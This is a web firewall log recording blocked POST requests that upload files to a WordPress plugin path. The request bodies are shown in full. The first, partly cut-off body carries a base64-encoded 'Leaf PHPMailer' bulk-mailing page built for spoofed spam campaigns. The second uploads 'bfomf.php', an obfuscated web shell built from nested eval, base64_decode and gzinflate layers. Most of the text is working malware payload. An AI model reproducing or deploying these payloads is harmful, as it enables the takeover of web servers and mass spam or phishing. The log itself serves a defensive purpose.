lLAkKCSkpOwoJZGllICgpOwp9CmZ1bmN0aW9uIGxlYWZoZWFkZXIoKXsKcHJpbnQgJwo8aGVhZD4KICAgIDx0aXRsZT4nLnN0cl9yZXBsYWNlKCJ3d3cuIiwgIiIsICRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJyAtIExlYWYgUEhQTWFpbGVyPC90aXRsZT4KICAgIDxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04Ii8+CiAgICA8bGluayBocmVmPSJodHRwczovL21heGNkbi5ib290c3RyYXBjZG4uY29tL2Jvb3Rzd2F0Y2gvMy40LjEvY29zbW8vYm9vdHN0cmFwLm1pbi5jc3MiIHJlbD0ic3R5bGVzaGVldCIgPiAgICAKCjwvaGVhZD4nOwp9CmxlYWZoZWFkZXIoKTsKcHJpbnQgJzxib2R5Pic7CnByaW50ICc8ZGl2IGNsYXNzPSJjb250YWluZXIgY29sLWxnLTYiPgogICAgICAgIDxoMz48Zm9udCBjb2xvcj0iZ3JlZW4iPjxzcGFuIGNsYXNzPSJnbHlwaGljb24gZ2x5cGhpY29uLWxlYWYiPjwvc3Bhbj48L2ZvbnQ+IExlYWYgUEhQTWFpbGVyIDxzbWFsbD4nLiRsZWFmWyd2ZXJzaW9uJ10uJzwvc21hbGw+PC9oMz4KICAgICAgICA8Zm9ybSBuYW1lPSJmb3JtIiBpZD0iZm9ybSIgbWV0aG9kPSJQT1NUIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBhY3Rpb249IiI+CiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0ic2NvcmUiPgoKICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAgY29sLWxnLTYgIj48bGFiZWwgZm9yPSJzZW5kZXJFbWFpbCI+RW1haWw8L2xhYmVsPjxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iZm9ybS1jb250cm9sICBpbnB1dC1zbSAiIGlkPSJzZW5kZXJFbWFpbCIgbmFtZT0ic2VuZGVyRW1haWwiIHZhbHVlPSInLiRzZW5kZXJFbWFpbC4nIj48L2Rpdj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAgY29sLWxnLTYgIj48bGFiZWwgZm9yPSJzZW5kZXJOYW1lIj5TZW5kZXIgTmFtZTwvbGFiZWw+PGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJmb3JtLWNvbnRyb2wgIGlucHV0LXNtICIgaWQ9InNlbmRlck5hbWUiIG5hbWU9InNlbmRlck5hbWUiIHZhbHVlPSInLiRzZW5kZXJOYW1lLiciPjwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1sZy02ICAiPjxsYWJlbCBmb3I9ImF0dGFjaG1lbnQiPkF0dGFjaG1lbnQgPHNtYWxsPihNdWx0aXBsZSBBdmFpbGFibGUpPC9zbWFsbD48L2xhYmVsPjxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJhdHRhY2htZW50W10iIGlkPSJhdHRhY2htZW50W10iIG11bHRpcGxlLz48L3NwYW4+CgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCBjb2wtbGctNiI+PGxhYmVsIGZvcj0icmVwbHlUbyI+UmVwbHktdG88L2xhYmVsPjxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iZm9ybS1jb250cm9sICBpbnB1dC1zbSAiIGlkPSJyZXBseVRvIiBuYW1lPSJyZXBseVRvIiB2YWx1ZT0iJy4kcmVwbHlUby4nIiAvPjwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAgY29sLWxnLTEyICI+PGxhYmVsIGZvcj0ic3ViamVjdCI+U3ViamVjdDwvbGFiZWw+PGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJmb3JtLWNvbnRyb2wgIGlucHV0LXNtICIgaWQ9InN1YmplY3QiIG5hbWU9InN1YmplY3QiIHZhbHVlPSInLiRzdWJqZWN0LiciIC8+PC9kaXY+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJyb3ciPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCBjb2wtbGctNiI+PGxhYmVsIGZvcj0ibWVzc2FnZUxldHRlciI+TWVzc2FnZSBMZXR0ZXIgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRlZmF1bHQgYnRuLXhzIiBmb3JtPSJmb3JtIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJ2aWV3IiBmb3JtdGFyZ2V0PSJfYmxhbmsiPlByZXZpZXcgPC9idXR0b24+PC9sYWJlbD48dGV4dGFyZWEgbmFtZT0ibWVzc2FnZUxldHRlciIgaWQ9Im1lc3NhZ2VMZXR0ZXIiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIHJvd3M9IjEwIiBpZD0idGV4dEFyZWEiPicuJG1lc3NhZ2VMZXR0ZXIuJzwvdGV4dGFyZWE+PC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1sZy02ICI+PGxhYmVsIGZvcj0iZW1haWxMaXN0Ij5FbWFpbCBMaXN0IDxhIGhyZWY9Ij9lbWFpbGZpbHRlcj1vbiIgdGFyZ2V0PSJfYmxhbmsiIGNsYXNzPSJidG4gYnRuLWRlZmF1bHQgYnRuLXhzIj5GaWx0ZXIvRXh0cmFjdDwvYT48L2xhYmVsPjx0ZXh0YXJlYSBuYW1lPSJlbWFpbExpc3QiIGlkPSJlbWFpbExpc3QiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIHJvd3M9IjEwIiBpZD0idGV4dEFyZWEiPicuJGVtYWlsTGlzdC4nPC90ZXh0YXJlYT48L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9InJvdyI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1sZy02ICI+CiAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0ibWVzc2FnZVR5cGUiPk1lc3NhZ2UgVHlwZTwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgSFRNTCA8aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9Im1lc3NhZ2VUeXBlIiBpZD0ibWVzc2FnZVR5cGUiIHZhbHVlPSIxIiAnLiRodG1sLic+CiAgICAgICAgICAgICAgICAgICAgUGxhaW48aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9Im1lc3NhZ2VUeXBlIiBpZD0ibWVzc2FnZVR5cGUiIHZhbHVlPSIyIiAnLiRwbGFpbi4nPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1sZy0zICI+CiAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0iY2hhcnNldCI+Q2hhcmFjdGVyIHNldDwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgPHNlbGVjdCBjbGFzcz0iZm9ybS1jb250cm9sIGlucHV0LXNtIiBpZD0iY2hhcnNldCIgbmFtZT0iY2hhcnNldCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gJy4kdXRmOC4nPlVURi04PC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gJy4kaXNvLic+SVNPLTg4NTktMTwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgIDwvc2VsZWN0PgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1sZy0zICI+CiAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0iZW5jb2RpbmciPk1lc3NhZ2UgZW5jb2Rpbmc8L2xhYmVsPgogICAgICAgICAgICAgICAgICAgIDxzZWxlY3QgY2xhc3M9ImZvcm0tY29udHJvbCBpbnB1dC1zbSIgaWQ9ImVuY29kZSIgbmFtZT0iZW5jb2RlIj4KICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiAnLiRiaXQ4Lic+OGJpdDwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uICcuJGJpdDcuJz43Yml0PC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gJy4kYmluYXJ5Lic+YmluYXJ5PC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gJy4kYmFzZTY0Lic+YmFzZTY0PC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gJy4kcXVvdGVkcHJpbnRhYmxlLic+cXVvdGVkLXByaW50YWJsZTwvb3B0aW9uPgoKICAgICAgICAgICAgICAgICAgICA8L3NlbGVjdD4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRlZmF1bHQgYnRuLXNtIiBmb3JtPSJmb3JtIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJzZW5kIj5TRU5EPC9idXR0b24+IG9yIDxhIGhyZWY9IiMiIG9uY2xpY2s9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKFwnZm9ybVwnKS5zdWJtaXQoKTsgcmV0dXJuIGZhbHNlOyI+Y2hlY2sgU3BhbUFzc2Fzc2luIFNjb3JlPC9hPgogICAKICAgICAgICA8L2Zvcm0+CiAgICA8L2Rpdj4KICAgIDxkaXYgY2xhc3M9ImNvbC1sZy02Ij48YnI+CiAgICAgICAgPGxhYmVsIGZvcj0id2VsbCI+SW5zdHJ1Y3Rpb248L2xhYmVsPgogICAgICAgIDxkaXYgaWQ9IndlbGwiIGNsYXNzPSJ3ZWxsIHdlbGwiPgogICAgICAgICAgICA8aDQ+U2VydmVyIEluZm9ybWF0aW9uPC9oND4KICAgICAgICAgICAgPHVsPgogICAgICAgICAgICAgICAgPGxpPlNlcnZlciBJUCBBZGRyZXNzIDogPGI+Jy4kX1NFUlZFUlsnU0VSVkVSX0FERFInXS4nIDwvYj4gPGEgaHJlZj0iP2NoZWNrX2lwPScuJF9TRVJWRVJbJ1NFUlZFUl9BRERSJ10uJyIgdGFyZ2V0PSJfYmxhbmsiIGNsYXNzPSJsYWJlbCBsYWJlbC1wcmltYXJ5Ij5DaGVjayBCbGFja2xpc3QgPGkgY2xhc3M9ImdseXBoaWNvbiBnbHlwaGljb24tc2VhcmNoIj48L2k+PC9hPjwvbGk+CiAgICAgICAgICAgICAgICA8bGk+UEhQIFZlcnNpb24gOiA8Yj4nLnBocHZlcnNpb24oKS4nPC9iPjwvbGk+CiAgICAgICAgICAgICAgICAKCiAgICAgICAgICAgIDwvdWw+CiAgICAgICAgICAgIDxoND5IRUxQPC9oND4KICAgICAgICAgICAgPHVsPgogICAgICAgICAgICAgICAgPGxpPlstZW1haWwtXSA6IDxiPlJlY2l2ZXIgRW1haWw8L2I+IChlbWFpbHVzZXJAZW1haWxkb21haW4uY29tKTwvbGk+CiAgICAgICAgICAgICAgICA8dWw+CiAgICAgICAgICAgICAgICAgICAgPGxpPlstZW1haWx1c2VyLV0gOiA8Yj5FbWFpbCBVc2VyPC9iPiAoZW1haWx1c2VyKSA8L2xpPgogICAgICAgICAgICAgICAgICAgIDxsaT5bLWVtYWlsZG9tYWluLV0gOiA8Yj5FbWFpbCBVc2VyPC9iPiAoZW1haWxkb21haW4uY29tKSA8L2xpPgogICAgICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgICAgIDxsaT5bLXRpbWUtXSA6IDxiPkRhdGUgYW5kIFRpbWU8L2I+ICgnLmRhdGUoIm0vZC9ZIGg6aTpzIGEiLCB0aW1lKCkpLicpPC9saT4KICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgPGxpPlstcmFuZG9tc3RyaW5nLV0gOiA8Yj5SYW5kb20gc3RyaW5nICgwLTksYS16KTwvYj48L2xpPgogICAgICAgICAgICAgICAgPGxpPlstcmFuZG9tbnVtYmVyLV0gOiA8Yj5SYW5kb20gbnVtYmVyICgwLTkpIDwvYj48L2xpPgogICAgICAgICAgICAgICAgPGxpPlstcmFuZG9tbGV0dGVycy1dIDogPGI+UmFuZG9tIExldHRlcnMoYS16KSA8L2I+PC9saT4KICAgICAgICAgICAgICAgIDxsaT5bLXJhbmRvbW1kNS1dIDogPGI+UmFuZG9tIE1ENSA8L2I+PC9saT4KICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgPGg0PmV4YW1wbGU8L2g0PgogICAgICAgICAgICBSZWNlaXZlciBFbWFpbCA9IDxiPnVzZXJAZG9tYWluLmNvbTwvYj48YnI+CiAgICAgICAgICAgIDx1bD4KICAgICAgICAgICAgICAgIDxsaT5oZWxsbyA8Yj5bLWVtYWlsdXNlci1dPC9iPiA9IGhlbGxvIDxiPnVzZXI8L2I+PC9saT4KICAgICAgICAgICAgICAgIDxsaT55b3VyIGRvbWFpbiBpcyA8Yj5bLWVtYWlsZG9tYWluLV08L2I+ID0gWW91ciBEb21haW4gaXMgPGI+ZG9tYWluLmNvbTwvYj48L2xpPgogICAgICAgICAgICAgICAgPGxpPnlvdXIgY29kZSBpcyAgPGI+Wy1yYW5kb21tZDUtXTwvYj4gPSB5b3VyIGNvZGUgaXMgPGI+ZTEwYWRjMzk0OWJhNTlhYmJlNTZlMDU3ZjIwZjg4M2U8L2I+PC9saT4KICAgICAgICAgICAgPC91bD4KCiAgICAgICAgICAgIDxoNj5ieSA8Yj48YSBocmVmPSJodHRwOi8vJy4kbGVhZlsnd2Vic2l0ZSddLiciPicuJGxlYWZbJ3dlYnNpdGUnXS4nPC9hPjwvYj48L2g2PgogICAgICAgIDwvZGl2PgogICAgPC9kaXY+JzsgIAppZigkX1BPU1RbJ2FjdGlvbiddPT0ic2VuZCIpewogICAgcHJpbnQgJyAgICA8ZGl2IGNsYXNzPSJjb2wtbGctMTIiPic7CiAgICAkbWFpbGxpc3Q9ZXhwbG9kZSgiXHJcbiIsICRlbWFpbExpc3QpOwogICAgJG49Y291bnQoJG1haWxsaXN0KTsKICAgICR4ID0xOwogICAgZm9yZWFjaCAoJG1haWxsaXN0IGFzICRlbWFpbCApIHsKICAgICAgICBwcmludCAnPGRpdiBjbGFzcz0iY29sLWxnLTEiPlsnLiR4LicvJy4kbi4nXTwvZGl2PjxkaXYgY2xhc3M9ImNvbC1sZy00Ij4nLiRlbWFpbC4nPC9kaXY+JzsKICAgICAgICBpZighbGVhZk1haWxDaGVjaygkZW1haWwpKSB7CiAgICAgICAgICAgIHByaW50ICc8ZGl2IGNsYXNzPSJjb2wtbGctNiI+PHNwYW4gY2xhc3M9ImxhYmVsIGxhYmVsLWRlZmF1bHQiPkluY29ycmVjdCBFbWFpbDwvc3Bhbj48L2Rpdj4nOwogICAgICAgICAgICBwcmludCAiPGJyPlxyXG4iOwogICAgICAgIH0KICAgICAgICBlbHNlIHsKICAgICAgICAgICAgJG1haWwgPSBuZXcgUEhQTWFpbGVyOwogICAgICAgICAgICAkbWFpbC0+c2V0RnJvbShsZWFmQ2xlYXIoJHNlbmRlckVtYWlsLCRlbWFpbCksbGVhZkNsZWFyKCRzZW5kZXJOYW1lLCRlbWFpbCkpOwogICAgICAgICAgICAkbWFpbC0+YWRkUmVwbHlUbyhsZWFmQ2xlYXIoJHJlcGx5VG8sJGVtYWlsKSk7CiAgICAgICAgICAgICRtYWlsLT5hZGRBZGRyZXNzKCRlbWFpbCk7CiAgICAgICAgICAgICRtYWlsLT5TdWJqZWN0ID0gbGVhZkNsZWFyKCRzdWJqZWN0LCRlbWFpbCk7CiAgICAgICAgICAgICRtYWlsLT5Cb2R5ID0gIGxlYWZDbGVhcigkbWVzc2FnZUxldHRlciwkZW1haWwpOwogICAgICAgICAgICBpZigkbWVzc2FnZVR5cGU9PTEpewogICAgICAgICAgICAgICAgJG1haWwtPklzSFRNTCh0cnVlKTsKICAgICAgICAgICAgICAgICRtYWlsLT5BbHRCb2R5ID1zdHJpcF90YWdzKGxlYWZDbGVhcigkbWVzc2FnZUxldHRlciwkZW1haWwpKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlICRtYWlsLT5Jc0hUTUwoZmFsc2UpOwogICAgICAgICAgICAkbWFpbC0+Q2hhclNldCA9ICRjaGFyc2V0OwogICAgICAgICAgICAkbWFpbC0+RW5jb2RpbmcgPSAkZW5jb2Rpbmc7CiAgICAgICAgICAgIGZvcigkaT0wOyAkaTxjb3VudCgkX0ZJTEVTWydhdHRhY2htZW50J11bJ25hbWUnXSk7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgkX0ZJTEVTWydhdHRhY2htZW50J11bJ3RtcF9uYW1lJ11bJGldICE9ICIiKXsKICAgICAgICAgICAgICAgICAgICAkbWFpbC0+QWRkQXR0YWNobWVudCgkX0ZJTEVTWydhdHRhY2htZW50J11bJ3RtcF9uYW1lJ11bJGldLCRfRklMRVNbJ2F0dGFjaG1lbnQnXVsnbmFtZSddWyRpXSk7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICB9CiAgICAgICAgICAgIAogICAgICAgICAgICBpZiAoISRtYWlsLT5zZW5kKCkpIHsKICAgICAgICAgICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9ImNvbC1sZy02Ij48c3BhbiBjbGFzcz0ibGFiZWwgbGFiZWwtZGVmYXVsdCI+Jy5odG1sc3BlY2lhbGNoYXJzKCRtYWlsLT5FcnJvckluZm8pLic8L3NwYW4+PC9kaXY+JzsKICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9ImNvbC1sZy02Ij48c3BhbiBjbGFzcz0ibGFiZWwgbGFiZWwtc3VjY2VzcyI+T2s8L3NwYW4+PC9kaXY+JzsKICAgICAgICAgICAgfQogICAgICAgICAgICBwcmludCAiPGJyPlxyXG4iOwogICAgICAgIH0KICAgICAgICAkeCsrOwogICAgICAgIGZvcigkayA9IDA7ICRrIDwgNDAwMDA7ICRrKyspIHtlY2hvICcgJzt9CiAgICB9Cgp9CmVsc2VpZigkX1BPU1RbJ2FjdGlvbiddPT0ic2NvcmUiKXsKICAgICRtYWlsID0gbmV3IFBIUE1haWxlcjsKICAgICRtYWlsLT5zZXRGcm9tKGxlYWZDbGVhcigkc2VuZGVyRW1haWwsJGVtYWlsKSxsZWFmQ2xlYXIoJHNlbmRlck5hbWUsJGVtYWlsKSk7CiAgICAkbWFpbC0+YWRkUmVwbHlUbyhsZWFmQ2xlYXIoJHJlcGx5VG8sJGVtYWlsKSk7CiAgICAkbWFpbC0+YWRkQWRkcmVzcygidXNlcm5hbWVAZG9tYWluLmNvbSIpOwogICAgJG1haWwtPlN1YmplY3QgPSBsZWFmQ2xlYXIoJHN1YmplY3QsJGVtYWlsKTsKICAgICRtYWlsLT5Cb2R5ID0gIGxlYWZDbGVhcigkbWVzc2FnZUxldHRlciwkZW1haWwpOwogICAgaWYoJG1lc3NhZ2VUeXBlPT0xKXsKICAgICAgICAkbWFpbC0+SXNIVE1MKHRydWUpOwogICAgICAgICRtYWlsLT5BbHRCb2R5ID1zdHJpcF90YWdzKGxlYWZDbGVhcigkbWVzc2FnZUxldHRlciwkZW1haWwpKTsKICAgIH0KICAgIGVsc2UgJG1haWwtPklzSFRNTChmYWxzZSk7CiAgICAkbWFpbC0+Q2hhclNldCA9ICRjaGFyc2V0OwogICAgJG1haWwtPkVuY29kaW5nID0gJGVuY29kaW5nOwogICAgJG1haWwtPnByZVNlbmQoKTsKICAgICRtZXNzYWdlSGVhZGVycz0kbWFpbC0+Z2V0U2VudE1JTUVNZXNzYWdlKCk7CiAgICAkY2ggPSBjdXJsX2luaXQoKTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAnaHR0cDovL3NwYW1jaGVjay5wb3N0bWFya2FwcC5jb20vZmlsdGVyJyk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywgaHR0cF9idWlsZF9xdWVyeShhcnJheSgnZW1haWwnID0+ICRtZXNzYWdlSGVhZGVycywnb3B0aW9ucyc9Pidsb25nJykpKTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgMCk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMTUpOwogICAgJHJlc3BvbnNlID0gY3VybF9leGVjKCRjaCk7CiAgICAkcmVzcG9uc2UgPSBqc29uX2RlY29kZSgkcmVzcG9uc2UpOwogICAgcHJpbnQgJyAgICA8ZGl2IGNsYXNzPSJjb2wtbGctMTIiPic7CiAgICBpZiAoJHJlc3BvbnNlLT5zdWNjZXNzID09IFRSVUUgKXsKICAgICAgICAkc2NvcmUgPSAkcmVzcG9uc2UtPnNjb3JlOwogICAgICAgIGlmICgkc2NvcmUgPiA1ICkgJGNsYXNzPSJkYW5nZXIiOwogICAgICAgIGVsc2UgJGNsYXNzPSJzdWNjZXNzIjsKICAgICAgICAgICAgcHJpbnQgJzxkaXYgY2xhc3M9InRleHQtJy4kY2xhc3MuJyI+WW91ciBTcGFtQXNzYXNzaW4gc2NvcmUgaXMgJy4kc2NvcmUuJyAgPC9kaXY+CjxkaXY+RnVsbCBSZXBvcnQgOiA8cHJlPicuJHJlc3BvbnNlLT5yZXBvcnQuJzwvcHJlPjwvZGl2Pic7CnByaW50ICcgICAgPC9kaXY+JzsKICAgIH0KfQpwcmludCAnPC9ib2R5Pic7\"));\n?>\r\n--12729f5eb45a645156a65929bedc6abc\r\nContent-Disposition: form-data; name=\"berkasnya\"\r\n\r\n\r\n--12729f5eb45a645156a65929bedc6abc\r\nContent-Disposition: form-data; name=\"darilink\"\r\n\r\n\r\n--12729f5eb45a645156a65929bedc6abc\r\nContent-Disposition: form-data; name=\"namalink\"\r\n\r\n\r\n--12729f5eb45a645156a65929bedc6abc--\r\n"]
["2026-05-26 21:53:44","170.205.30.68","POST","\/wp-content\/plugins\/gfrmz\/index.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36","post","http包非法,并且被封锁IP,如果自定义了from-data可能会导致误报。如果大量出现当前问题。可以选择在全局设置中关闭From-data协议22","POST \/wp-content\/plugins\/gfrmz\/index.php HTTP\/1.1\naccept-encoding:gzip, deflate, br\nupgrade-insecure-requests:1\ncache-control:max-age=0\ncontent-type:multipart\/form-data; boundary=2cc0570e1e2a7777b3bc8e1d13f5dbea\nsec-ch-ua:\"Not)A;Brand\";v=\"8\", \"Chromium\";v=\"138\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36\ncontent-length:54628\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:same-origin\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nsec-ch-ua-mobile:?0\npriority:u=0, i\nhost:dewenlabels.com\naccept-language:en-US,en;q=0.9\nconnection:keep-alive\naccept:text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7\n\n--2cc0570e1e2a7777b3bc8e1d13f5dbea\r\nContent-Disposition: form-data; name=\"dirnya\"\r\n\r\n1\r\n--2cc0570e1e2a7777b3bc8e1d13f5dbea\r\nContent-Disposition: form-data; name=\"upwkwk\"\r\n\r\naplod\r\n--2cc0570e1e2a7777b3bc8e1d13f5dbea\r\nContent-Disposition: form-data; name=\"berkas\"; filename=\"bfomf.php\"\r\nContent-Type: application\/octet-stream\r\n\r\n<?php\neval(base64_decode('ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFsKGV2YWwoZXZhbChldmFsKGV2YWwoZXZhbChldmFsKGV2YWwoZXZhbChldmFsKGV2YWwoZXZhbChfcjVNZTBGTnJoODNVWTl4WnQoJzR0TkNQZFVNTkhHcDM3VExnM2s2cFBZNUNJZjZLV0ZkTXFGRUNoSktYZ1piaTFCRUxwWG1vTTZ6dE12b1BuV2c0ZVFVdlRrYzNQbUFjd21sczRiTEJFUVRTWDFja0pHYXM2Nk50bXdYQWFsaks0dVVNZVBjSm5HVnBUWUh3UnRGM3VUWE1RRFlKMk84dW15R3RHc01zZGtIeEZqVFNxbVkxYmVRYko3eDBMczlXeUo2QVNLOVFyRXpHVGY3SWRQSVByZThtcWhJOWVvZHlGTU5qOVlHUkpEbjRDY2ZKMmtnMmVJb0RiV1BwaFhUYlJQR3ltV1Bkb3oyWlRwbDA2WFFPdExMeDdnc3h2SzNJcms5QlRIMVBxSXNGQm9iS3VBQXZvYzBTb0NLdTkzRGVUTmN0ZFpEeHZabWdHc3N3QUJFSXNPYVVPc0EyTVVLZnU5U3hBSDhKTm9JWEJPQ21QNnlWOWNnVEk2MTdwY0x4WG96TExwNENCZ1k2REtNZ2NreXBhOE1FV0RycGkwdURrc0RKY3A5blkxTVZQMDVsOXc0SE5IQXIzczBjckE4QzBqaHZISEhUWWxMUHhlTmNGb1ZTQ2tNWGlXT1JLVnJiWXJNYVlSU2hXUXEwcEpGaE5rQzd2REoxRzBUQnY1MXBqODJnVFN0MEYyekZDVmJSbGRoNzRRUHNGSFZBa3czT1A3bEtwNTZFOWVua3dqMmc2ZnU0UU9CSGV6U1lsTFNIR0V3RlpiaUJMSEh4U0xSd1drTXpTSDJZOEhndklwV2xPSHZVVmk4MzdYc0dZbm5ETFRLNVhoNU1BV2dNN213ZHZNa2Vud01YbmNudlZGQ3hLb2hRcEJyZVRMdzFpZkpMd3Nmbk5FSjdiM3JldU00c2lENEtpeDFkbEhxbEoyNjJFNWJTTHZTZDh0M1c3Nm5jOVFVUlVtMEpaSVdKY3R5ZHY2ZFIraHZkMmUrN3p6RXZORjVrbzFBQUNCSVViNWsxY3llSDF2ZFZiUklJQkFJQkFLQlFDRGlwL0dULzY4eXY5M2FXRFBZNlBwa2M4ZndCMzdiWUlIN3dmQTd0bU5VL0tmOW15MkQwWU0rNWdhaDMvbVFkWHFXTjI3ZzN3T25iU3diV0tleTVSOXZQUnVNSHFJNEx4bVY0N1dOeWxKL3Zka3dHRFZPSmMyZTM0RC9EMzNQYlZsOUt6UUZEb1Fab3hxODZBL0RDYnNPSUQrdFR0U0RIMFl1ZDF5dGI1NnRibFQzVnkvcXA1dG4rOVV0SXc4RnNuM3JzZDUzQmwyM2xUVmFyc0crbTZjYkc2dFE1T0owczJaK28yZjlnK2djUURJRDF6U1dsNDJSK3d6Ly84QnJ2WTRMVVdCWUR6cUJ3c2xzZTI2emFVMUFBeHlldkhIWC9IWldPenJtVFl1dlVUdVZzTGEzNnNHWVhGdWZxMFFQZU5uZFA5eXBHb3dlZ3ZLYjFiMmpvL1g2aCt6WTZ2ZXRldWgwUXFzYkJtNS9FQUpnK1JVQVZoY2JUWVBSUTlTbDl0TnJDdHdxTzcxU2Myd3dlZ2hFV0k1WCtaQ04xYWtZNHJXUk55ZEJtdG5BNnRYNWUrTVBXVkkyN1JwZWZ6aHcra2kxK0JlOUFjOTNCN1kzYkJtVlJtdHA5Y3hnOUJEY2tzdGw3YUFOTlFiKzhLRnV1MjFvRHJueDk5OWhKTksrbU5sd0VMcFBUbDNDNVlOVGFhK3ZybDBackRjOHViK1VoQ3BrQjI3UDdkYWRuanVBcXVGWG8vSzU3eHpBcDFIOTVMbXJCdWlncyt2Q3k2UGhlZXRFMU0yc0RBQjdPL3oweGJ2dDMvN0UvN0RpVEdmUTlwenViTmpzMlVEci90QWUzUEl2T2RQTWRzSmh3TC9JZC9EbjVNdHM0T3N2b1A5WUROaE5rVW0xOTFQVW1abmhEZUgvOERleW12eWJmWWRQM